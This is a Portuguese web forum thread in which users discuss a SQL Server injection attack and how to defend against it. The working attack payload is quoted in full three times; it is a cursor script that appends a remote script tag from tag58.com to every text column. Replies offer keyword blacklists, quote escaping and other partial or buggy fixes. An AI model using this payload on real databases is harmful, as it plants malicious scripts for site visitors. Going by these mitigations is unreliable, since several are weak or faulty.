Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Olá,
Fui atacado com a seguinte instrução:
DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
como previnir esse tipo de ataque??
Grato
Leonardo
é como o hargon falou...
existem várias expressões regulares, aqui uma que você pode usar.
function trataCaracter(valor)
Set objRegExpr = New RegExp
objRegExpr.Global = True
objRegExpr.IgnoreCase = True
objRegExpr.Pattern = "([\s]*(insert|update|upload|delete|drop|select|create|information_schema)[\s])|(""|'|;)"
if objRegExpr.Test(valor) then
valor = ""
end if
trataCaracter = replace(valor,"'","")
end functionQual é o seu Banco de Dados? Esse ataque veio de um campo de que tipo de seu FORM? Sempre valide os tipos de dados que serão usados em consultas ao banco de dados. Para campos do tipo texto use o replace da aspa simples por duas aspas simples sempre.
As dicas acima são válidas, mas nem sempre é necessário impedir algumas palavras. Imagine um Fórum de SQL que impedisse a postagem de códigos, ou mesmo aqui.
Cara, o ideal é q você pesquise sobre SQL Injection!!!
http://www.superasp.com.br/paginas_exibir_...1,59&id=328
at +
>
Qual é o seu Banco de Dados? Esse ataque veio de um campo de que tipo de seu FORM? Sempre valide os tipos de dados que serão usados em consultas ao banco de dados. Para campos do tipo texto use o replace da aspa simples por duas aspas simples sempre.
As dicas acima são válidas, mas nem sempre é necessário impedir algumas palavras. Imagine um Fórum de SQL que impedisse a postagem de códigos, ou mesmo aqui.
Pois é salgado, vejo que a solução e fazer o replace de aspas simples para duas aspas para campo texto e validar os campos numericos como numericos
Meu banco de dados é sql server
Grato
Leo
Não precisa fazer replace do apostofre (') por aspas(") eu faço o seguinte eu substitui o apostofre por ´ que é o código em HTML, na verdade eu faço com todas os caracteres especiais.
A proveitando esse código:
DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Alguem tem como explicar o que ele faz? Eu não entendi muito
Obrigado
>
A proveitando esse código:
DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Alguem tem como explicar o que ele faz? Eu não entendi muito
Obrigado
1- Faz uma busca nas tabelas sysobjects e syscolumns onde contem todas as informações de tabelas e campos em seu banco de dados
2- Converte todos os campos varchar para 4000 caracteres
3- Insere a tag <script src=http://www.tag58.com/b.js></script> em todos os campos nas tabelas varchar de seu banco de dados
Solucão:
' Rotina para formatar Numeros para o SQL
Function fNum(Numero)
Dim nsp, n
nsp = Replace(Numero & "", ".", "")
n = Replace(nsp, ",", ".")
If isNumeric(n) Then n = n * 1 Else n = 0
fNum = n
End Function
' Rotina para formatar String para o SQL Server
Function fStr(String)
fStr = Replace(Replace(String, "'", "''"), "|", "' + CHAR(124) + '")
End Function
Para aumentar ainda mais a segurança:
d = fNum( Left(Request("id"), 10) )
sql = "SELECT * FROM Tabela WHERE ID = " & id
texto = Left(Request("texto"),50)
sql = "INSERT INTO Tabela VALUES ('" & fStr(texto) & "')"
Use um left para restringir a quantidade de caracteres na variavel
Você poderá também, caso esteja inseguro, dar um DENY para Select nas tabelas sysobjects e syscolumns
Abrs
Leonardo
Não precisa fazer replace do apostofre (') por aspas(") eu faço o seguinte eu substitui o apostofre por ´ que é o código em HTML, na verdade eu faço com todas os caracteres especiais.
Muito pelo contario
Esta é a forma mais correta e simples de se fazer
Opa...
Também tive um site invadido pelo mesmo ataque, todos os campos do banco estao com esta coisa..rss
Vocês sabem como que eu consigo identificar o local que fizeram o ataque?
Tem como saber o arquivo que foi atacado?
Abraços
>
Opa...
Também tive um site invadido pelo mesmo ataque, todos os campos do banco estao com esta coisa..rss
Vocês sabem como que eu consigo identificar o local que fizeram o ataque?
Tem como saber o arquivo que foi atacado?
Abraços
Olá Kibe,
Na verdade é um robô que vasculha atravez do google e encontra sites com aberturas nas instruções sql
nenhum arquivo é atacado, apenas os campos varchar do banco de dados que são sujos com essa tag que me parece um spyware
Use as dicas que ja comentei nesse POST para previnir o ataque
Boa Sorte!
Abrs
Leonardo
O ideal é você fazer um replace, na informação que veio do formulário, com palavras chaves... declare, from, where, begin, fetch next, end close, etc. Substitui essas palavras por nada.
Ou então, sempre que você localizar duas ou mais das palavras citadas no campo, você anula a variável, pois certamente será código malicioso.